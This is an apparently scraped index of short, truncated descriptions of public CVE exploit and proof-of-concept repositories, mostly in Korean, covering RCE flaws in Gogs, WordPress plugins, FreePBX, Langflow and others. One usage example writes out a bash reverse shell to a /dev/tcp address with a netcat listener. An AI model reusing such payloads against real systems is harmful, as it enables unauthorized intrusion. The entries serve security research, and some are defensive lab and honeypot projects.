CVE-2026-77991

abraxaslabs.tech · github.com/abraxas · @abraxasnull · [email protected] · CVE-2026-77991 CVE-2026-77991 JEM - Joomla Event Manager 5.0.0 - joomlaeventmanager.net I am @abraxasnull. Loopback lab. The client is CVE-2026-77991-Abraxas-Labs.py. The advisory named a model. Privileged RCE:...

CVE-2025-8110

CVE-2025-8110 Gogs 저장소 심볼릭 링크 원격 코드 실행 oguiii 제작 목차 개요 기능 요구 사항 설치 사용법 익스플로잇 워크플로 기술 분석 개념 증명 데모 영향받는 버전 완화 조치 탐지 면책 조항 라이선스 개요 CVE-2025-8110은 Gogs의 심각한 취약점으로, 인증된 공격자가 저장소 심볼릭 링크 조작을 통해 원격 코드 실행을 달성할 수 있습니다. 이 개념 증명은 인증부터 리버스 셸 획득까지의 전체 익스플로잇 체인을 보여줍니다. 이 취약점은 Gogs가 API를 통해 저장소 파일을 처리할 때 심볼릭 링크를...

CVE-2024-50492

🚨 CVE-2024-50492 - ScottCart 🔥 ScottCart 🧑‍💻 작성자: Nxploit – Khaled Alenazi 📌 설명 WordPress 용 ScottCart 플러그인 버전 ≤ 1.1은 원격 코드 실행RCE 에 취약합니다. 이로 인해 인증되지 않은 공격자 가 취약한 AJAX 엔드포인트를 통해 서버에서 임의의 PHP 함수를 실행할 수 있습니다. 플러그인 : ScottCart ≤ 1.1 취약점 : 인증되지 않은 함수 삽입 → RCE CVE : CVE-2024-50492 CVSS 점수 : 9.8 - 치명적 🧠...

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE-

CVE-2020-13151-POC-Aerospike-Server-Host-Command-Execution-RCE- 참고: https://b4ny4n.github.io/network-pentest/2020/08/01/cve-2020-13151-poc-aerospike.html exploit.py - 실행할 파이썬 코드...

CVE-2017-7525-Jackson-Deserialization-Lab

CVE-2017-7525 Java 안전하지 않은 역직렬화 랩 안전하지 않은 역직렬화에 취약하여 RCE로 이어지는 기본 Java REST 애플리케이션입니다. 이 프로젝트는 Java 8u45 에서 실행해야 합니다. Maven 기반이며 다음 종속성을 사용합니다: jackson-databind 2.2.2 commons-collections 3.1 spring-context-support 4.3.11 더 많은 가젯gadget을 시도하려면 Maven을 통해 추가 종속성을 추가할 수 있습니다. 실행 Intellij Idea 사용을 권장합니...

weblogic_honeypot

WebLogic honeypot Cymmetria Research, 2018. https://www.cymmetria.com/ 작성자: Omer Cohen @omercnet 특별 감사: Imri Goldberg @lorgandon, Itamar Sher, Nadav Lev 문의: [email protected] WebLogic Honeypot은 Oracle Fusion Middleware의 Oracle WebLogic Server 구성 요소에서 CVE-2017-10271을 탐지하기 위한 저상호작용low...

CVE-2019-11447-POC

sadnews CuteNews 2.1.2 - CVE-2019-11447 개념 증명 POC 작성자: CRFSlick, 발견자: AkkuS CutePHP CuteNews 2.1.2에서 문제가 발견되었습니다. 공격자는 프로필 영역의 아바타 업로드 과정을 통해 avatarfile 필드를 사용하여 index.php?mod=main&opt=personal로 서버에 침투할 수 있습니다. /core/modules/dashboard.php에서 $imgsize에 대한 효과적인 제어가 없습니다. 파일의 헤더 내용을 변경하고 제어를 우회하여 코드...

Moniker-Link-CVE-2024-21413

🛡️ Moniker Link CVE-2024-21413 방: Moniker Link CVE-2024-21413 — TryHackMe 상태: ✅ 완료 날짜: 2025년 5월 30일 🎯 목표 CVE-2024-21413을 이해하고 익스플로잇합니다. 이 취약점은 Microsoft Outlook에서 Moniker Link를 사용하여 보호된 보기를 우회하고 NTLM 자격 증명을 유출합니다. 공격을 수행하는 방법과 이를 탐지 또는 완화하는 방법을 학습합니다. 🗝️ 핵심 개념 Moniker Link — Windows에서 COM 모델을 사용하여...

CVE-2014-6271-Apache-Debian

CVE-2014-6271-Apache-Debian 개요 이 리포지토리는 CVE-2014-6271의 PoC 환경입니다. apache2 컨테이너 이미지를 사용하여 취약점을 포함한 웹 서비스를 배포할 수 있습니다. 사전 준비 이미지 빌드 Dockerfile에서 안전하지 않은 이미지를 빌드합니다. docker build -t cve-2014-6271-apache-debian:buster ./insecure-base-image/ docker build -t training-website-poc:v1.0 ./web-insecure/ Po...

CVE-2026-5027

This post is a research article published by EQSTLab. Thanks toYahia Hamza, who reported and analyzed this vulnerability. CVE-2026-5027 ★ CVE-2026-5027 Langflow 경로 탐색 / 임의 파일 쓰기 PoC ★ Description CVE-2026-5027 : Langflow 임의 파일 쓰기 취약점 description: Langflow Reverse shell via cron job python3...

FreePBX-CVE-2025-57819-CVE-2025-61678

FreePBX-CVE-2025-57819-CVE-2025-61678 CVE-2025-57819스택 쿼리 SQL 인젝션과 CVE-2025-61678FreePBX Endpoint Manager의 인증된 파일 업로드를 연쇄적으로 사용하여 원격 코드 실행RCE을 달성합니다. 교육 목적으로만 사용하십시오. 참조: https://www.picussecurity.com/resource/blog/critical-freepbx-vulnerabilities-cve-2025-66039-cve-2025-61675-cve-2025-61675...

CVE-2022-24638

EXPLOITDB에서 확인됨: https://www.exploit-db.com/exploits/51026 이 버전은 위음성False Negative을 방지하기 위해 수정되었습니다. CVE-2022-24637 Open Web Analytics OWA 1.7.4의 인증되지 않은 원격 코드 실행RCE 익스플로잇입니다. 이 작업은 https://devel0pment.de/?p=2494를 기반으로 합니다. 면책 조항: 이 스크립트는 시스템 보안을 감사하기 위해 제작되었습니다. 이 스크립트는 본인의 시스템이나 명시적 허가를 받은 시스템에...

CVE-2021-32305-websvn-2.6.0

CVE-2021-3205-websvn-2.6.0 이것은 CVE-2021-3205의 익스플로잇으로, search.php 경로에서 명령어 주입이 가능한 웹 취약점입니다. 이 익스플로잇을 통해 명령어를 실행할 수 있습니다. 요구 사항 optparse, signal, requests 사용법 ❯ python3 CVE-2021-3205.py --url http://10.0.2.168/websvn/ --payload "bash -c 'bash -i & /dev/tcp/10.0.2.133/443 0&1'" ... ❯ nc -nlvp 443...

CVE-2020-27955

Git-lfs 원격 코드 실행 RCE 익스플로잇 CVE-2020-27955 .bat / powershell 버전 취약한 대상: git, GitHub CLI gh, GitHub Desktop, Visual Studio Code, SourceTree, SmartGit, GitKraken 등 발견자 Dawid Golunski https://legalhackers.com https://exploitbox.io Windows에서 테스트 완료: git, GitHub CLI gh, GitHub Desktop, Visual Studio...

CVE-2021-43258

CVE-2021-43258 ChurchInfo 1.2.13-1.3.0 원격 코드 실행 익스플로잇 전체 제목| ChurchInfo 1.2.13-1.3.0 원격 코드 실행 익스플로잇 ---|--- 추가 날짜| 21-11-2022 카테고리| 원격 익스플로잇 플랫폼| php 위험도| 보안 위험: 심각 설명| 이 Metasploit 모듈은 초안 이메일을 작성할 때 첨부 파일을 포함하는 CartView.php 페이지의 로직을 악용합니다. 초안 이메일에 첨부 파일을 업로드하면 해당 파일은 ChurchInfo 웹 서버의 /tmpattach/...

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning

CVE-2024-4879-CVE-2024-5217-ServiceNow-RCE-Scanning CVE-2024-4879 & CVE-2024-5217 ServiceNow RCE 스캐닝 - Nuclei & Shodan Dork를 사용하여 찾기 리소스 취약점 정보 https://www.assetnote.io/resources/research/chaining-three-bugs-to-access-all-your-servicenow-data 사용법 nuclei -t...

CVE-2024-6782-PoC

CVE-2024-6782-PoC Usage: python3 callibre.py --target http://target:8080/ Calibre = 7.14.0의 Calibre 콘텐츠 서버를 통한 인증되지 않은 원격 코드 실행...

CVE-2023-41425

CVE-2023-41425 CVE-2023-41425 XSS to RCE, Wonder CMS 3.2.0 = 3.4.2 使い方 ➜ CVE-2023-41425 python3 exploit.py Enter target URL RHOST, e.g., http://example.com/loginURL: http://redacted.com/loginURL Enter your local host IP LHOST, e.g., 10.10.14.xxx: xx.xx.xx.xx Enter your local web server port...

CVE-2022-23642

Sourcegraph Gitserver 3.37.0 RCE에 대한 PoC CVE-2022-23642 Sourcegraph 3.37.0 이전 버전에는 gitserver 서비스에 원격 코드 실행 취약점이 있습니다. 이는 git config 실행에 대한 제한이 없기 때문에 발생하며, 따라서 HTTP 인수에 "core.sshCommand"를 전달할 수 있고, 여기에는 임의의 bash 명령이 포함될 수 있습니다. 이 취약점은 gitserver가 공격자에게 노출된 경우에만 가능합니다. 이는 Sourcegraph 3.36.3에서...

CVE-2026-78006-POC

CVE-2026-78006-POC CVE-2026-78006 の PoC The Events Calendar = 6.17.4 - 未認証の PHP オブジェクトインジェクションからリモートコード実行へ CONTACT 何か質問があれば telegram まで : @soldout0O 💙 プロジェクトを支援する 私の活動を評価していただけるなら、USDT TRC20: TQBA72kakjCZLnJt8fJYcD7dyQCEpzNtVN を通じてプロジェクトを支援することをご検討ください。 The Events Calendar — 未認証の PHP...